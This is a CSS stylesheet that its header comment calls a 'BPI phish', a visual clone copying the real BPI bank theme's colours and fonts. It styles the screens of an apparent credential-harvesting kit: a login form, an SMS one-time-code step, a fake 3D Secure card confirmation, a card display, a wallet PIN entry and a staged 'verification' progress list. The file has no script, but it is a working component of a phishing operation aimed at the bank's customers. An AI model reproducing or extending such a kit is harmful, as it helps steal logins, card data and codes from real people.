/* ===== BPI phish - clone visuel (palette/typo reprises du vrai theme BPI) ===== */

@font-face { font-family: 'BarlowRegular';  src: url('/assets/Barlow-Regular.ttf')  format('truetype'); font-display: swap; }
@font-face { font-family: 'BarlowSemiBold'; src: url('/assets/Barlow-SemiBold.ttf') format('truetype'); font-display: swap; }
@font-face { font-family: 'BarlowBold';     src: url('/assets/Barlow-Bold.ttf')     format('truetype'); font-display: swap; }
@font-face { font-family: 'bpifont';        src: url('/assets/bpifont_v3.woff') format('woff'), url('/assets/bpifont_v3.ttf') format('truetype'); font-display: swap; }

:root {
  --color-primary: #ff6600;
  --color-primary-hover: #e65c00;
  --color-links: #1B0DAB;
  --color-text: #4b4b4b;
  --color-muted: #666;
  --color-border: #dadada;
  --color-bg: #f6f6f6;
  --color-input: #eeeeee;
  --color-error: #E60000;
}

* { box-sizing: border-box; }
html, body { margin: 0; padding: 0; }
body {
  background: var(--color-bg);
  color: var(--color-text);
  font-family: 'BarlowRegular', Helvetica, Arial, sans-serif;
  font-size: 16px;
  -webkit-font-smoothing: antialiased;
}

.icon { font-family: 'bpifont' !important; font-style: normal; font-weight: normal; line-height: 1; speak: never; -webkit-font-smoothing: antialiased; }
.icon-florbpi:before    { content: "\ea1e"; }
.icon-codigo_sms:before { content: "\e928"; }
.icon-icon_err-alerta:before      { content: "\e902"; }
.icon-icon_sucesso_simples:before { content: "\e972"; }
.icon-icon_seguranca:before       { content: "\e970"; }

/* ------------------------------- header ------------------------------- */
.topbar { background: #fff; border-bottom: 1px solid var(--color-border); }
.topbar__inner {
  max-width: 1000px; margin: 0 auto; height: 64px;
  display: flex; align-items: center; justify-content: space-between; padding: 0 20px;
}
.brand { display: inline-flex; align-items: center; gap: 9px; text-decoration: none; }
.brand__mark { color: var(--color-primary); font-size: 30px; }
.brand__word { font-family: 'BarlowBold'; font-size: 27px; letter-spacing: .5px; color: #101f53; }
.topbar__tabs { display: flex; gap: 4px; }
.tab {
  border: 0; background: transparent; cursor: pointer;
  font-family: 'BarlowSemiBold'; font-size: 15px; color: var(--color-muted);
  padding: 8px 14px; border-radius: 4px; transition: all .15s ease;
}
.tab:hover { color: var(--color-primary); }
.tab.is-active { color: #fff; background: var(--color-primary); }

/* ------------------------------- stage ------------------------------- */
.stage { max-width: 1000px; margin: 0 auto; padding: 44px 20px 24px; }
.card {
  position: relative; width: 100%; max-width: 420px; margin: 0 auto;
  background: #fff; border-radius: 8px; padding: 30px 30px 22px;
  box-shadow: 0 6px 30px rgba(0,0,0,.08), 0 2px 8px rgba(0,0,0,.05);
  min-height: 296px; display: flex; flex-direction: column;
}
.screen { flex: 1; }
.screen--center { display: flex; flex-direction: column; align-items: center; justify-content: center; text-align: center; }
[hidden] { display: none !important; }

.legal { text-align: center; color: #999; font-size: 12.5px; margin: 22px 0 0; }

/* ------------------------------- login ------------------------------- */
.login__title {
  display: flex; align-items: center; justify-content: space-between;
  font-family: 'BarlowBold'; font-size: 19px; color: var(--color-primary);
}
.login__title-actions a { color: var(--color-primary); text-decoration: underline; font-family: 'BarlowSemiBold'; font-size: 15px; }

.field { margin-top: 14px; }
.field input {
  width: 100%; height: 46px; border: 1px solid var(--color-input); background: var(--color-input);
  border-radius: 4px; padding: 0 14px; font-size: 16px; color: var(--color-text);
  font-family: 'BarlowRegular'; outline: none; transition: border-color .15s ease, background .15s ease;
}
.field input::placeholder { color: #8b8b8b; }
.field input:focus { border-color: var(--color-primary); background: #fff; }

.btn {
  display: inline-flex; align-items: center; justify-content: center;
  width: 100%; min-height: 46px; margin-top: 18px; border: 1px solid var(--color-primary);
  border-radius: 4px; font-family: 'BarlowSemiBold'; font-size: 16px; cursor: pointer;
  transition: all .18s ease;
}
.btn--primary { background: var(--color-primary); color: #fff; }
.btn--primary:hover { background: #fff; color: var(--color-primary); }
.btn:active { transform: translateY(1px); }
.linkbtn {
  display: block; width: 100%; margin-top: 14px; border: 0; background: transparent;
  color: var(--color-links); font-family: 'BarlowSemiBold'; font-size: 14px; cursor: pointer; text-decoration: none;
}
.linkbtn:hover { text-decoration: underline; }

/* ------------------------------- otp ------------------------------- */
.otp__icon { text-align: center; font-size: 40px; color: var(--color-primary); margin: 18px 0 6px; }
.otp__lead { text-align: center; color: var(--color-muted); font-size: 14.5px; line-height: 1.4; margin: 8px 0 4px; }
#in-otp { text-align: center; letter-spacing: 6px; font-family: 'BarlowSemiBold'; font-size: 20px; }

/* ------------------------------ attente ------------------------------ */
.lagarta { width: 64px; height: auto; }
.wait__msg { color: var(--color-muted); font-size: 15px; margin-top: 16px; }

/* ------------------------------ erreur ------------------------------ */
.errorbox {
  background: #fff; border: 1px solid var(--color-error); border-radius: 4px;
  padding: 16px; display: flex; gap: 12px; align-items: flex-start; margin-bottom: 6px;
}
.errorbox__icon { color: var(--color-error); font-size: 20px; flex: 0 0 auto; margin-top: 1px; }
.errorbox__msg { color: var(--color-error); font-size: 14.5px; margin: 0; line-height: 1.4; }

/* ------------------------------ succes ------------------------------ */
.ok__ring {
  width: 74px; height: 74px; border-radius: 50%; border: 2px solid #1a9e4b;
  display: flex; align-items: center; justify-content: center; margin-bottom: 16px;
}
.ok__check { color: #1a9e4b; font-size: 34px; }
.success__msg { font-family: 'BarlowSemiBold'; color: var(--color-text); font-size: 17px; margin: 0; }
.success__sub { color: var(--color-muted); font-size: 13.5px; margin: 8px 0 0; }

/* ------------------------------- pied ------------------------------- */
.foot {
  display: flex; align-items: center; justify-content: space-between;
  margin-top: 20px; padding-top: 14px; border-top: 1px solid #f0f0f0;
}
.secure { color: #1a9e4b; font-size: 12.5px; display: inline-flex; align-items: center; gap: 6px; }
.secure .icon { font-size: 13px; }
.foot__tab { border: 0; background: transparent; color: var(--color-links); font-family: 'BarlowSemiBold'; font-size: 12.5px; cursor: pointer; }

/* ------------------------------- formulaires ------------------------------- */
.row { display: flex; gap: 12px; }
.field--half { flex: 1; min-width: 0; }
.card--wide { max-width: 420px; }
.otp__lead--left { text-align: left; }
.note { display: block; color: #8b8b8b; font-size: 12px; margin-top: 4px; }
.note--hint { margin: 8px 0 2px; }
.seclabel { font-family: 'BarlowSemiBold'; color: #333; font-size: 14.5px; margin: 18px 0 0; padding-top: 14px; border-top: 1px solid #f0f0f0; }
.field--split { display: flex; gap: 10px; }
.field--split input { width: auto; flex: 1; min-width: 0; }
.gsel { height: 46px; flex: 0 0 46%; border: 1px solid var(--color-input); background: var(--color-input); border-radius: 4px; padding: 0 10px; font-size: 15px; color: var(--color-text); font-family: 'BarlowRegular'; outline: none; }
.gsel--sm { flex: 0 0 30%; }
.gsel:focus { border-color: var(--color-primary); background: #fff; }

/* ------------------------------- 3D Secure ------------------------------- */
.tds__brand { display: flex; justify-content: space-between; align-items: center; margin-top: 4px; }
.tds__logo { font-family: 'BarlowBold'; font-size: 18px; color: #1a1f71; letter-spacing: .5px; }
.tds__logo b { color: #f7b600; }
.tds__lock { color: var(--color-primary); font-size: 20px; }
.tds__box { border: 1px solid #eee; border-radius: 10px; padding: 8px 14px; margin: 12px 0; background: #fafafa; }
.tds__row { display: flex; justify-content: space-between; padding: 6px 0; font-size: 14px; color: #666; border-bottom: 1px solid #f0f0f0; }
.tds__row:last-child { border-bottom: 0; }
.tds__row b { color: #222; font-family: 'BarlowSemiBold'; }
.tds__actions { display: flex; gap: 10px; }
.tds__actions .btn { flex: 1; }
.btn--ghost { background: #fff; color: var(--color-primary); border: 1px solid var(--color-primary); }
.btn--ghost:hover { background: #fff5ee; }
.count { text-align: center; color: #8b8b8b; font-size: 12.5px; margin-top: 14px; }
.count b { color: #555; }

/* ------------------------------- notification dynamique ------------------------------- */
.notif { display: flex; gap: 12px; align-items: flex-start; border: 1px solid #eee; border-radius: 14px; padding: 12px 14px; margin-top: 10px; background: #fff; box-shadow: 0 6px 18px rgba(0, 0, 0, .06); opacity: 0; transform: translateY(-10px) scale(.98); transition: all .35s ease; }
.notif.is-in { opacity: 1; transform: none; }
.notif__icon { width: 34px; height: 34px; border-radius: 9px; background: #f2f2f2; display: flex; align-items: center; justify-content: center; font-size: 18px; }
.notif__body { display: flex; flex-direction: column; gap: 2px; font-size: 13.5px; }
.notif__body b { font-family: 'BarlowSemiBold'; color: #333; font-size: 12.5px; }
.notif__body span { color: #555; }

/* ------------------------------- carte bancaire ------------------------------- */
.cc {
  position: relative; margin: 16px 0 4px; padding: 16px 18px; border-radius: 12px;
  background: linear-gradient(135deg, #ff7a1a 0%, #e65c00 55%, #b34700 100%);
  color: #fff; box-shadow: 0 8px 22px rgba(230, 92, 0, .28); overflow: hidden;
}
.cc:after { content: ""; position: absolute; right: -40px; top: -60px; width: 160px; height: 160px; border-radius: 50%; background: rgba(255,255,255,.12); }
.cc__top { display: flex; align-items: center; justify-content: space-between; }
.cc__chip { width: 34px; height: 24px; border-radius: 5px; background: linear-gradient(135deg, #f6d365, #cfa13a); }
.cc__brand { font-family: 'BarlowBold'; font-size: 15px; letter-spacing: 1px; }
.cc__num { font-family: 'BarlowSemiBold'; font-size: 19px; letter-spacing: 2px; margin: 16px 0 12px; }
.cc__bottom { display: flex; justify-content: space-between; font-size: 12.5px; letter-spacing: 1px; text-transform: uppercase; opacity: .95; }

/* ------------------------------- wallet ================================ */
.wallet__brands { display: flex; gap: 10px; margin: 2px 0 10px; }
.wlogo { display: inline-flex; align-items: center; gap: 7px; padding: 6px 12px; border: 1px solid #eee; border-radius: 22px; font-family: 'BarlowSemiBold'; font-size: 13.5px; color: #333; }
.wtitle { font-family: 'BarlowBold'; font-size: 17px; color: var(--color-text); margin: 10px 0 4px; }
.pin { text-align: center; letter-spacing: 6px; font-family: 'BarlowSemiBold'; font-size: 20px; }

/* ------------------------------- message verification ------------------------------- */
.verify__icon { text-align: center; font-size: 40px; color: var(--color-primary); margin: 16px 0 4px; }
.vtitle { font-family: 'BarlowBold'; font-size: 18px; color: var(--color-text); text-align: center; margin: 4px 0 6px; }
.vsteps { list-style: none; padding: 0; margin: 14px 0 4px; }
.vsteps li { position: relative; padding: 9px 8px 9px 34px; font-size: 14.5px; color: #555; border-bottom: 1px solid #f0f0f0; }
.vsteps li:before { content: ""; position: absolute; left: 8px; top: 50%; width: 14px; height: 14px; margin-top: -8px; border-radius: 50%; border: 2px solid #d0d0d0; }
.vsteps__done { color: #333 !important; }
.vsteps__done:before { border-color: #1a9e4b !important; background: #1a9e4b; }
.vsteps__done:after { content: ""; position: absolute; left: 12px; top: 50%; width: 4px; height: 8px; margin-top: -6px; border: solid #fff; border-width: 0 2px 2px 0; transform: rotate(45deg); }
.vsteps__now { color: var(--color-primary) !important; font-family: 'BarlowSemiBold'; }
.vsteps__now:before { border-color: var(--color-primary) !important; }

@media (max-width: 520px) {
  .stage { padding: 26px 14px 18px; }
  .card { padding: 24px 20px 18px; border-radius: 6px; }
  .brand__word { font-size: 23px; }
  .topbar__inner { height: 58px; padding: 0 14px; }
  .topbar__tabs { gap: 2px; }
  .tab { padding: 7px 10px; font-size: 14px; }
  .cc__num { font-size: 16px; letter-spacing: 1px; }
}

